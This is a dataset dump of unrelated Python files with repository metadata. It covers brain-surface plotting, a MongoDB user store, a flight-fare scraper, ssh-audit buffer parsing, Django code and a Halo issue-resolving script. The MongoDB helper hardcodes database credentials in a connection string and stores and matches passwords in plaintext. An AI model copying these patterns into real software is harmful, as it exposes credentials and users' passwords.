] | 3 | 2019-07-20T05:36:03.000Z | 2020-12-23T07:47:43.000Z | plot_aparc_parcellation.py | binarybottle/mindboggle_sidelined | 1431d4877f4ceae384486fb66798bc22e6471af7 | [
"Apache-2.0"
] | 2 | 2020-11-30T10:18:42.000Z | 2020-12-24T06:29:47.000Z | plot_aparc_parcellation.py | binarybottle/mindboggle_sidelined | 1431d4877f4ceae384486fb66798bc22e6471af7 | [
"Apache-2.0"
] | null | null | null | """
Using Annotation Files
======================
Display a Freesurfer cortical parcellation from an annotation file.
"""
print __doc__
import os
from os.path import join as pjoin
from surfer import Brain
subject_id = 'OAS1_0061_MR1'
hemi = 'lh'
#surface = 'inflated'
surface = 'smoothwm'
"""
Bring up the visualization
"""
brain = Brain(subject_id, hemi, surface)
"""
Display the 'aparc' parcellation borders.
To use annotations that live in your subject's
label directory, just use the annot name.
"""
brain.add_annotation("aparc")
"""
You can also display the regions with "filled in" colors
"""
#brain.add_annotation("aparc", borders=False)
"""
You may also provide a full path to an annotation file
at an arbitray location on the disc.
"""
#subjects_dir = os.environ["SUBJECTS_DIR"]
#annot_path = pjoin(subjects_dir, subject_id, "label", "lh.aparc.annot")
#brain.add_annotation(annot_path)
| 20.568182 | 72 | 0.727072 | 129 | 905 | 4.968992 | 0.542636 | 0.042122 | 0.084243 | 0.071763 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007732 | 0.142541 | 905 | 43 | 73 | 21.046512 | 0.818299 | 0.229834 | 0 | 0 | 0 | 0 | 0.120172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.333333 | null | null | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c9202ae1ace2cbce129195b5960a8fcb2ef52b8d | 1,642 | py | Python | db.py | stoic1979/karma | af06055199610eb350aad25a402d995f18c922b8 | [
"Apache-2.0"
] | 4 | 2016-02-18T19:22:58.000Z | 2017-11-09T13:53:33.000Z | db.py | stoic1979/karma | af06055199610eb350aad25a402d995f18c922b8 | [
"Apache-2.0"
] | 8 | 2017-10-05T07:51:30.000Z | 2017-10-10T07:25:17.000Z | db.py | stoic1979/karma | af06055199610eb350aad25a402d995f18c922b8 | [
"Apache-2.0"
] | 1 | 2020-02-24T05:58:23.000Z | 2020-02-24T05:58:23.000Z | from pymongo import MongoClient
import traceback
class Mdb:
def __init__(self):
# conn_str = "mongodb://admin:123@127.0.0.1:27017/admin"
conn_str = "mongodb://karmadbuser1:" \
"karmadbuser1@ds113505.mlab.com:13505/karma"
# "mongodb://karmadbuser1:karmadbuser1@ds113505.mlab.com:13505/karma"
# mongodb terminal command
# mongo ds113505.mlab.com:13505/karma -u <dbuser> -p <dbpassword>
client = MongoClient(conn_str)
# self.db = client['heroku_188g0kct']
self.db = client['karma']
def add_user(self, name, registration, city, state, zip, country, company,
phone, email, password, website):
try:
rec = {
'name': name,
'registration': registration,
'city': city,
'state': state,
'zip': zip,
'country': country,
'company': company,
'phone': phone,
'email': email,
'password': password,
'website': website
}
self.db.company.insert(rec)
except Exception as exp:
print "add_user() :: Got exception: %s", exp
print(traceback.format_exc())
def company_exists(self, email, password):
"""
fucntion check if a user given email and password
exists in database
:return:
"""
return self.db.company.find({'email': email, 'password': password})\
.count() > 0
if __name__ == '__main__':
mdb = Mdb()
| 30.407407 | 89 | 0.521924 | 160 | 1,642 | 5.23125 | 0.4625 | 0.028674 | 0.053763 | 0.071685 | 0.172043 | 0.142174 | 0.142174 | 0.142174 | 0.142174 | 0 | 0 | 0.053283 | 0.359927 | 1,642 | 53 | 90 | 30.981132 | 0.743102 | 0.150426 | 0 | 0 | 0 | 0 | 0.148585 | 0.051101 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.121212 | 0.060606 | null | null | 0.060606 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c92111216c085d3c3b58f0aeb522359be8dd73da | 427 | py | Python | py_yr/weatherdata/forecast/tabular/time/symbol.py | Matmonsen/py-yr | 2e729959ae9fe334686971c6f62ccb0bf2d8b9a4 | [
"MIT"
] | null | null | null | py_yr/weatherdata/forecast/tabular/time/symbol.py | Matmonsen/py-yr | 2e729959ae9fe334686971c6f62ccb0bf2d8b9a4 | [
"MIT"
] | null | null | null | py_yr/weatherdata/forecast/tabular/time/symbol.py | Matmonsen/py-yr | 2e729959ae9fe334686971c6f62ccb0bf2d8b9a4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
class Symbol(object):
def __init__(self, symbol):
self.number = int(symbol['number'])
self.numberEx = int(symbol['numberEx'])
self.name = symbol['name']
self.var = symbol['var']
def __str__(self):
return '\t\t\t\tNumber: {0} \n\t\t\t\tNumberEx: {1} \n\t\t\t\tName: {2} \n\t\t\t\tVar: {3}'.format(self.number, self.numberEx, self.name, self.var) | 35.583333 | 155 | 0.569087 | 64 | 427 | 3.671875 | 0.421875 | 0.068085 | 0.051064 | 0.051064 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015015 | 0.220141 | 427 | 12 | 155 | 35.583333 | 0.690691 | 0.04918 | 0 | 0 | 0 | 0.125 | 0.254321 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.125 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c928d960345b3b5bcd7c5352c33406c2c9577f7e | 7,136 | py | Python | app.py | murali44/Wknd | 58059dbb92ac4ec3aee21be074d226344026653d | [
"MIT"
] | null | null | null | app.py | murali44/Wknd | 58059dbb92ac4ec3aee21be074d226344026653d | [
"MIT"
] | null | null | null | app.py | murali44/Wknd | 58059dbb92ac4ec3aee21be074d226344026653d | [
"MIT"
] | null | null | null | import argparse
import os
import signal
import smtplib
import sys
import time
import datetime
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
def main():
"""
Perform a search on southwest.com for the given flight parameters.
"""
args = parse_args()
while True:
desired_price = int(args.desired_total)
found_depart_date = 0
found_return_date = 0
for d in allfridays(int(args.weekends)):
# PhantomJS is headless, so it doesn't open up a browser.
browser = webdriver.PhantomJS()
args.departure_date = d.strftime('%m/%d/%Y')
args.return_date = (d + datetime.timedelta(days=2)).strftime('%m/%d/%Y')
try:
price = scrape(args, browser)
except:
pass
finally:
# kill the specific phantomjs child proc
browser.close()
browser.service.process.send_signal(signal.SIGTERM)
browser.quit()
if price <= desired_price:
desired_price = price
found_depart_date = args.departure_date
found_return_date = args.return_date
print "cost:{0}. leaving:{1} Arrving:{2}".format(desired_price, found_depart_date, found_return_date)
else:
print "{0} -> {1}. Cheapest is {2} leaving on {3}. I'll keep looking.".format(args.depart, args.arrive, price, args.departure_date)
time.sleep(15)
if found_depart_date != 0:
print "found final"
print "cost:{0}. leaving:{1} Arrving:{2}".format(desired_price, found_depart_date, found_return_date)
send_email(args.depart, args.arrive, desired_price, found_depart_date)
# Keep scraping according to the interval the user specified.
time.sleep(int(args.interval) * 60)
def allfridays(weekends):
d = datetime.date.today()
while d.weekday() != 4:
d += datetime.timedelta(1)
for x in range(weekends):
yield d
d += datetime.timedelta(days = 7)
def parse_args():
"""
Parse the command line for search parameters.
"""
parser = argparse.ArgumentParser(description='Process command line arguments')
parser.add_argument(
"--one-way",
action="store_true",
help="If present, the search will be limited to one-way tickets.")
parser.add_argument(
"--depart",
"-d",
type=str,
default='AUS',
help="Origin airport code.")
parser.add_argument(
"--arrive",
"-a",
type=str,
help="Destination airport code.")
parser.add_argument(
"--departure-date",
"-dd",
type=str,
help="Date of departure flight.")
parser.add_argument(
"--return-date",
"-rd",
type=str,
help="Date of return flight.")
parser.add_argument(
"--passengers",
"-p",
action="store",
type=str,
default=2,
help="Number of passengers.")
parser.add_argument(
"--desired-total",
"-dt",
type=str,
default=250,
help="Ceiling on the total cost of flights.")
parser.add_argument(
"--weekends",
"-wk",
type=str,
default=24,
help="Number of weekends to search.")
parser.add_argument(
"--interval",
"-i",
type=str,
default=40,
help="Refresh time period.")
args = parser.parse_args()
return args
def send_email(depart_from, arrive_to, final_price, depart_date):
try:
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(os.environ['WKND_FROM_EMAIL'], os.environ['WKND_PASSWORD'])
msg_body = "Found {0}->{1} deal. ${2}. Leaving {3}. On Southwest.".format(depart_from, arrive_to, final_price, depart_date)
msg = 'Subject: {0}\n\n{1}'.format("WKND Deal found.", msg_body)
server.sendmail(os.environ['WKND_FROM_EMAIL'], os.environ['WKND_TO_EMAIL'], msg)
server.quit()
except:
pass
def scrape(args, browser):
browser.get("https://www.southwest.com/")
last_travel_date = browser.find_element_by_id("lastBookableDate").get_attribute("value")
departure_date = datetime.datetime.strptime(args.departure_date, '%m/%d/%Y')
return_date = datetime.datetime.strptime(args.return_date, '%m/%d/%Y')
last_travel_date = datetime.datetime.strptime(last_travel_date, '%m/%d/%Y')
if (departure_date > last_travel_date) or (return_date > last_travel_date):
return 100000
if args.one_way:
# Set one way trip with click event.
one_way_elem = browser.find_element_by_id("trip-type-one-way")
one_way_elem.click()
# Set the departing airport.
depart_airport = browser.find_element_by_id("air-city-departure")
depart_airport.send_keys(args.depart)
# Set the arrival airport.
arrive_airport = browser.find_element_by_id("air-city-arrival")
arrive_airport.send_keys(args.arrive)
# Set departure date.
depart_date = browser.find_element_by_id("air-date-departure")
depart_date.clear()
depart_date.send_keys(args.departure_date)
if not args.one_way:
# Set return date.
return_date = browser.find_element_by_id("air-date-return")
return_date.clear()
return_date.send_keys(args.return_date)
# Clear the readonly attribute from the element.
passengers = browser.find_element_by_id("air-pax-count-adults")
browser.execute_script("arguments[0].removeAttribute('readonly', 0);", passengers)
passengers.click()
passengers.clear()
# Set passenger count.
passengers.send_keys(args.passengers)
passengers.click()
search = browser.find_element_by_id("jb-booking-form-submit-button")
search.click()
outbound_array = []
return_array = []
# Webdriver might be too fast. Tell it to slow down.
wait = WebDriverWait(browser, 120)
wait.until(EC.element_to_be_clickable((By.ID, "faresOutbound")))
outbound_fares = browser.find_element_by_id("faresOutbound")
outbound_prices = outbound_fares.find_elements_by_class_name("product_price")
for price in outbound_prices:
realprice = price.text.replace("$", "")
outbound_array.append(int(realprice))
lowest_outbound_fare = min(outbound_array)
if not args.one_way:
return_fares = browser.find_element_by_id("faresReturn")
return_prices = return_fares.find_elements_by_class_name("product_price")
for price in return_prices:
realprice = price.text.replace("$", "")
return_array.append(int(realprice))
lowest_return_fare = min(return_array)
real_total = lowest_outbound_fare + lowest_return_fare
else:
real_total = lowest_outbound_fare
return real_total
if __name__ == "__main__":
main()
| 31.715556 | 147 | 0.636211 | 886 | 7,136 | 4.914221 | 0.269752 | 0.034451 | 0.041341 | 0.045935 | 0.244832 | 0.146302 | 0.122187 | 0.122187 | 0.056959 | 0.056959 | 0 | 0.009142 | 0.248879 | 7,136 | 224 | 148 | 31.857143 | 0.803172 | 0.055633 | 0 | 0.197605 | 0 | 0.005988 | 0.160996 | 0.01048 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.065868 | 0.065868 | null | null | 0.023952 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c936e7e07f2580d15328dcf603b8c0609d69e9c9 | 2,176 | py | Python | scripts/follow_up.py | annacarbery/library-design | e71aa7738a5cc93b88e5f6ec16f2df04c21f8e59 | [
"MIT"
] | null | null | null | scripts/follow_up.py | annacarbery/library-design | e71aa7738a5cc93b88e5f6ec16f2df04c21f8e59 | [
"MIT"
] | null | null | null | scripts/follow_up.py | annacarbery/library-design | e71aa7738a5cc93b88e5f6ec16f2df04c21f8e59 | [
"MIT"
] | null | null | null | import json
from rank_compounds import rank, get_all_smiles
def get_reduced_smiles_bits(smiles_bits, test_target):
reduced = {}
for t in smiles_bits:
if t != test_target:
reduced[t] = smiles_bits[t]
return reduced
smiles_bits = json.load(open('data/datafiles/smiles_bits.json', 'r'))
for test_target in smiles_bits:
print(test_target)
smiles_bits_reduced = get_reduced_smiles_bits(smiles_bits, test_target)
paired_compounds = []
for target in smiles_bits_reduced:
for smiles1 in smiles_bits_reduced[target]:
for smiles2 in smiles_bits_reduced[target]:
sim = len(set(smiles_bits_reduced[target][smiles1]).intersection(set(smiles_bits_reduced[target][smiles2])))/len(set(smiles_bits_reduced[target][smiles1]).union(set(smiles_bits_reduced[target][smiles2])))
if smiles1 != smiles2 and sim > 0.0:
if sorted([smiles1, smiles2]) not in paired_compounds:
paired_compounds.append(sorted([smiles1, smiles2]))
all_smiles = get_all_smiles(smiles_bits_reduced)
comps, x = rank(smiles_bits_reduced, all_smiles, 250)
total_information = []
for c in smiles_bits[test_target]:
total_information += smiles_bits[test_target][c]
total_information = len(set(total_information))
target_fraction = get_fraction(comps, smiles_bits, test_target, total_information)
print('hits recovered in first 250:', len([i for i in smiles_bits[test_target] if i in comps])/len(smiles_bits[test_target]))
print('information recovered in first 250:', target_fraction)
print(len(smiles_bits[test_target]), len([i for i in smiles_bits[test_target] if i not in comps]))
pred = 0
red = 0
for comp in comps:
if comp in smiles_bits[test_target]:
for pair in paired_compounds:
if comp in pair:
rest = [i for i in pair if i != comp][0]
if rest not in comps and rest in smiles_bits[test_target]:
pred += 1
else:
red += 1
print(test_target, pred, red)
| 36.881356 | 220 | 0.653493 | 297 | 2,176 | 4.531987 | 0.185185 | 0.208024 | 0.114413 | 0.163447 | 0.369985 | 0.264487 | 0.161961 | 0.10847 | 0.049034 | 0.049034 | 0 | 0.017284 | 0.255515 | 2,176 | 58 | 221 | 37.517241 | 0.81358 | 0 | 0 | 0 | 0 | 0 | 0.043678 | 0.014253 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02381 | false | 0 | 0.047619 | 0 | 0.095238 | 0.119048 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c9405c4c616a0f5951f1c3f6b8ce71568d7dbfed | 3,326 | py | Python | src/ssh_audit/readbuf.py | TheCry/ssh-audit | 1c34cb51310cf181246a38098b6035fb56345e93 | [
"MIT"
] | 1,206 | 2017-09-19T19:36:04.000Z | 2022-03-30T07:38:05.000Z | src/ssh_audit/readbuf.py | TheCry/ssh-audit | 1c34cb51310cf181246a38098b6035fb56345e93 | [
"MIT"
] | 126 | 2019-08-16T17:30:25.000Z | 2022-03-27T15:27:36.000Z | src/ssh_audit/readbuf.py | TheCry/ssh-audit | 1c34cb51310cf181246a38098b6035fb56345e93 | [
"MIT"
] | 94 | 2017-11-01T22:23:56.000Z | 2022-03-27T15:11:26.000Z | """
The MIT License (MIT)
Copyright (C) 2017 Andris Raugulis (moo@arthepsy.eu)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
import io
import struct
# pylint: disable=unused-import
from typing import Dict, List, Set, Sequence, Tuple, Iterable # noqa: F401
from typing import Callable, Optional, Union, Any # noqa: F401
class ReadBuf:
def __init__(self, data: Optional[bytes] = None) -> None:
super(ReadBuf, self).__init__()
self._buf = io.BytesIO(data) if data is not None else io.BytesIO()
self._len = len(data) if data is not None else 0
@property
def unread_len(self) -> int:
return self._len - self._buf.tell()
def read(self, size: int) -> bytes:
return self._buf.read(size)
def read_byte(self) -> int:
v: int = struct.unpack('B', self.read(1))[0]
return v
def read_bool(self) -> bool:
return self.read_byte() != 0
def read_int(self) -> int:
v: int = struct.unpack('>I', self.read(4))[0]
return v
def read_list(self) -> List[str]:
list_size = self.read_int()
return self.read(list_size).decode('utf-8', 'replace').split(',')
def read_string(self) -> bytes:
n = self.read_int()
return self.read(n)
@classmethod
def _parse_mpint(cls, v: bytes, pad: bytes, f: str) -> int:
r = 0
if len(v) % 4 != 0:
v = pad * (4 - (len(v) % 4)) + v
for i in range(0, len(v), 4):
r = (r << 32) | struct.unpack(f, v[i:i + 4])[0]
return r
def read_mpint1(self) -> int:
# NOTE: Data Type Enc @ http://www.snailbook.com/docs/protocol-1.5.txt
bits = struct.unpack('>H', self.read(2))[0]
n = (bits + 7) // 8
return self._parse_mpint(self.read(n), b'\x00', '>I')
def read_mpint2(self) -> int:
# NOTE: Section 5 @ https://www.ietf.org/rfc/rfc4251.txt
v = self.read_string()
if len(v) == 0:
return 0
pad, f = (b'\xff', '>i') if ord(v[0:1]) & 0x80 != 0 else (b'\x00', '>I')
return self._parse_mpint(v, pad, f)
def read_line(self) -> str:
return self._buf.readline().rstrip().decode('utf-8', 'replace')
def reset(self) -> None:
self._buf = io.BytesIO()
self._len = 0
| 35.763441 | 80 | 0.628382 | 500 | 3,326 | 4.106 | 0.392 | 0.038967 | 0.018997 | 0.015587 | 0.08378 | 0.069167 | 0.022406 | 0 | 0 | 0 | 0 | 0.022106 | 0.251954 | 3,326 | 92 | 81 | 36.152174 | 0.803055 | 0.383644 | 0 | 0.039216 | 0 | 0 | 0.024157 | 0 | 0 | 0 | 0.002013 | 0 | 0 | 1 | 0.254902 | false | 0 | 0.078431 | 0.078431 | 0.588235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c94a78e78bf94ade2a3a2e8fb7f8d1769a6c3566 | 726 | py | Python | common/migrations/0014_auto_20190104_1435.py | Jedore/binary_life | 89ccd877ceb463831547c2ea4091629f53197111 | [
"MIT"
] | null | null | null | common/migrations/0014_auto_20190104_1435.py | Jedore/binary_life | 89ccd877ceb463831547c2ea4091629f53197111 | [
"MIT"
] | 1 | 2018-02-11T05:38:58.000Z | 2018-02-11T05:38:58.000Z | common/migrations/0014_auto_20190104_1435.py | Jedore/binary_life | 89ccd877ceb463831547c2ea4091629f53197111 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.2 on 2019-01-04 06:35
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('common', '0013_auto_20181114_1119'),
]
operations = [
migrations.AddField(
model_name='article',
name='non_technical',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='articletags',
name='non_technical',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='articletype',
name='non_technical',
field=models.BooleanField(default=False),
),
]
| 25.034483 | 53 | 0.57989 | 68 | 726 | 6.058824 | 0.544118 | 0.131068 | 0.167476 | 0.196602 | 0.502427 | 0.502427 | 0.502427 | 0.502427 | 0.378641 | 0.378641 | 0 | 0.061876 | 0.309917 | 726 | 28 | 54 | 25.928571 | 0.760479 | 0.061983 | 0 | 0.545455 | 1 | 0 | 0.142857 | 0.033873 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c9601d3e14c5552d04fd7a57f3784f2250d0574d | 2,813 | py | Python | unit_tests/state_model/test_delete_state_model.py | DavidIndrawes2/ndop-back-end | 2ebfed942bf3494153b1031e9a40af0de15e327b | [
"MIT"
] | 1 | 2020-02-10T09:11:16.000Z | 2020-02-10T09:11:16.000Z | unit_tests/state_model/test_delete_state_model.py | DavidIndrawes2/ndop-back-end | 2ebfed942bf3494153b1031e9a40af0de15e327b | [
"MIT"
] | null | null | null | unit_tests/state_model/test_delete_state_model.py | DavidIndrawes2/ndop-back-end | 2ebfed942bf3494153b1031e9a40af0de15e327b | [
"MIT"
] | 2 | 2019-04-11T14:37:26.000Z | 2021-04-11T07:29:51.000Z | import unittest
from mock import MagicMock, patch
from state_model.delete_state_model import delete_state_model
class TestDeleteStateModel(unittest.TestCase):
@patch('state_model.delete_state_model.delete_state_model.StrictRedisCluster')
@patch('state_model.delete_state_model.delete_state_model.setup_lambda')
def test__delete_state_model__lambda_handler__WillDeleteStateModel__WhenCalledWithAnEventContainingAValidSessionId(self,
mock_setup_lambda,
mock_strict_redis_cluster):
mock_redis = MagicMock()
mock_strict_redis_cluster.return_value = mock_redis
mock_setup_lambda.return_value = '12345'
delete_state_model.lambda_handler({'session_id': '12345'}, {})
mock_redis.delete.assert_called_with('12345')
@patch('state_model.delete_state_model.delete_state_model.handle')
def test__delete_state_model__lambda_handler__WillRaiseAGivenException__WhenAnExceptionOccursThatIsThrownOrUnhandled(self,
mock_handle):
mock_handle.side_effect = RuntimeError('Example message')
with self.assertRaises(RuntimeError):
delete_state_model.lambda_handler({}, MagicMock)
@patch('state_model.delete_state_model.delete_state_model.configure_logger')
def test__delete_state_model__setup_lambda__WillReturnSessionId__WhenEventContainsAValidSessionId(self,
mock_configure_logger):
actual = delete_state_model.setup_lambda({'session_id': '12345'}, {})
self.assertEqual(actual, '12345')
@patch('state_model.delete_state_model.delete_state_model.configure_logger')
def test__delete_state_model__setup_lambda__WillRaiseAttributeError__WhenEventContainsNoSessionIdField(self,
mock_configure_logger):
with self.assertRaises(AttributeError):
delete_state_model.setup_lambda({}, {})
@patch('state_model.delete_state_model.delete_state_model.configure_logger')
def test__delete_state_model__setup_lambda__WillRaiseAttributeError__WhenEventContainsAnEmptySessionId(self,
mock_configure_logger):
with self.assertRaises(AttributeError):
delete_state_model.setup_lambda({'session_id': ''}, {}) | 61.152174 | 146 | 0.611447 | 235 | 2,813 | 6.731915 | 0.217021 | 0.195954 | 0.242731 | 0.172566 | 0.546776 | 0.486726 | 0.486726 | 0.412769 | 0.412769 | 0.35335 | 0 | 0.013242 | 0.32883 | 2,813 | 46 | 147 | 61.152174 | 0.824682 | 0 | 0 | 0.228571 | 0 | 0 | 0.161336 | 0.136461 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.085714 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c9696ad0409da68751e0ceea889de1c9fd7404c7 | 1,169 | py | Python | apps/meetings/tests/test_command.py | froi/horas | 39980eb90738f4c9a578bdcfbc56bc1ce373dcab | [
"MIT"
] | null | null | null | apps/meetings/tests/test_command.py | froi/horas | 39980eb90738f4c9a578bdcfbc56bc1ce373dcab | [
"MIT"
] | 14 | 2019-10-09T19:33:25.000Z | 2021-07-14T10:42:31.000Z | apps/meetings/tests/test_command.py | froi/horas | 39980eb90738f4c9a578bdcfbc56bc1ce373dcab | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from datetime import timedelta
from django.utils.timezone import now
from apps.meetings.tests import MeetingBaseTestCase
from apps.meetings.models import Meeting
class UpdateMeetingsCommandTestCase(MeetingBaseTestCase):
def test_should_flag_available_in_past_as_unused(self):
m = Meeting.objects.create(state='available',
mentor=self.dude, datetime=now() - timedelta(hours=1, seconds=1))
self.assertEquals(Meeting.objects.filter(state='unused').count(), 0)
self.assertEquals(Meeting.objects.filter(state='available').count(), 2)
self.call_command('update_meetings')
self.assertEquals(Meeting.objects.get(pk=m.id).state, 'unused')
self.assertEquals(Meeting.objects.filter(state='unused').count(), 1)
self.assertEquals(Meeting.objects.filter(state='available').count(), 1)
def test_should_create_missing_meetings(self):
Meeting.objects.all().delete()
self.assertEquals(Meeting.objects.filter(state='available').count(), 0)
self.call_command('update_meetings')
self.assertEquals(Meeting.objects.filter(state='available').count(), 1)
| 41.75 | 79 | 0.721129 | 139 | 1,169 | 5.956835 | 0.374101 | 0.152174 | 0.194444 | 0.253623 | 0.502415 | 0.502415 | 0.502415 | 0.5 | 0.241546 | 0 | 0 | 0.008982 | 0.142857 | 1,169 | 27 | 80 | 43.296296 | 0.817365 | 0.017964 | 0 | 0.210526 | 0 | 0 | 0.081152 | 0 | 0 | 0 | 0 | 0 | 0.368421 | 1 | 0.105263 | false | 0 | 0.210526 | 0 | 0.368421 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a309e96df138e8290d2cf5c48948279e7fe87986 | 1,725 | py | Python | resolve_all_issues.py | cloudpassage-community/resolve_all_halo_issues | 2bf140ff968ca385d7e12f06ac52d25f60604d6f | [
"Unlicense"
] | null | null | null | resolve_all_issues.py | cloudpassage-community/resolve_all_halo_issues | 2bf140ff968ca385d7e12f06ac52d25f60604d6f | [
"Unlicense"
] | null | null | null | resolve_all_issues.py | cloudpassage-community/resolve_all_halo_issues | 2bf140ff968ca385d7e12f06ac52d25f60604d6f | [
"Unlicense"
] | null | null | null | #! /usr/local/bin/python
# Author: Sean Nicholson
# Script for resolving all Halo issues. This script is intended to clear out
# data related to Halo testing and issues created from a PoC
# Updated 2017/03/08 by Mark A. Aklian to add count, user input and progress
import json, io, requests
import cloudpassage
import yaml
def create_api_session(session):
config_file_loc = "cloudpassage.yml"
config_info = cloudpassage.ApiKeyManager(config_file=config_file_loc)
session = cloudpassage.HaloSession(config_info.key_id, config_info.secret_key)
return session
def resolve_issues(session):
get_number_of_issues= cloudpassage.HttpHelper(session)
number_of_issues = get_number_of_issues.get("/v2/issues")
number_of_pages = int(number_of_issues['count'])
number_of_pages = int(number_of_pages * .01)
issues= cloudpassage.HttpHelper(session)
list_of_issues_json = issues.get_paginated("/v2/issues", 'issues', number_of_pages)
body = {"status": "resolved",}
#print list_of_issues_json
#loop list of issues and resolve them
print "\n"
print "##### There are %d issues to resolve #####" % len(list_of_issues_json)
print "##### Hit <Enter> to proceed #####"
proceed = raw_input("")
print "\n"
for issue in list_of_issues_json:
print issue
print "-"*20
issueID = issue['id']
issue_to_resolve = cloudpassage.HttpHelper(session)
list_of_issues_json = issue_to_resolve.get("/v2/issues")
reply = issue_to_resolve.put("/v2/issues/" + issueID, body)
def main():
api_session = None
api_session = create_api_session(api_session)
resolve_issues(api_session)
if __name__ == "__main__":
main()
| 32.54717 | 87 | 0.709565 | 238 | 1,725 | 4.852941 | 0.403361 | 0.069264 | 0.062338 | 0.069264 | 0.155844 | 0.119481 | 0.077922 | 0 | 0 | 0 | 0 | 0.011388 | 0.185507 | 1,725 | 52 | 88 | 33.173077 | 0.810676 | 0.183188 | 0 | 0.058824 | 0 | 0 | 0.123395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.205882 | 0.088235 | null | null | 0.176471 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
a30b6f2c14f8a80b531591d9c01d0a280b27654c | 17,441 | py | Python | ps3/test_ps3.py | John-L-Jones-IV/6.0001 | e58620b7fd59aa369c6d75071311d2930b669d8e | [
"MIT"
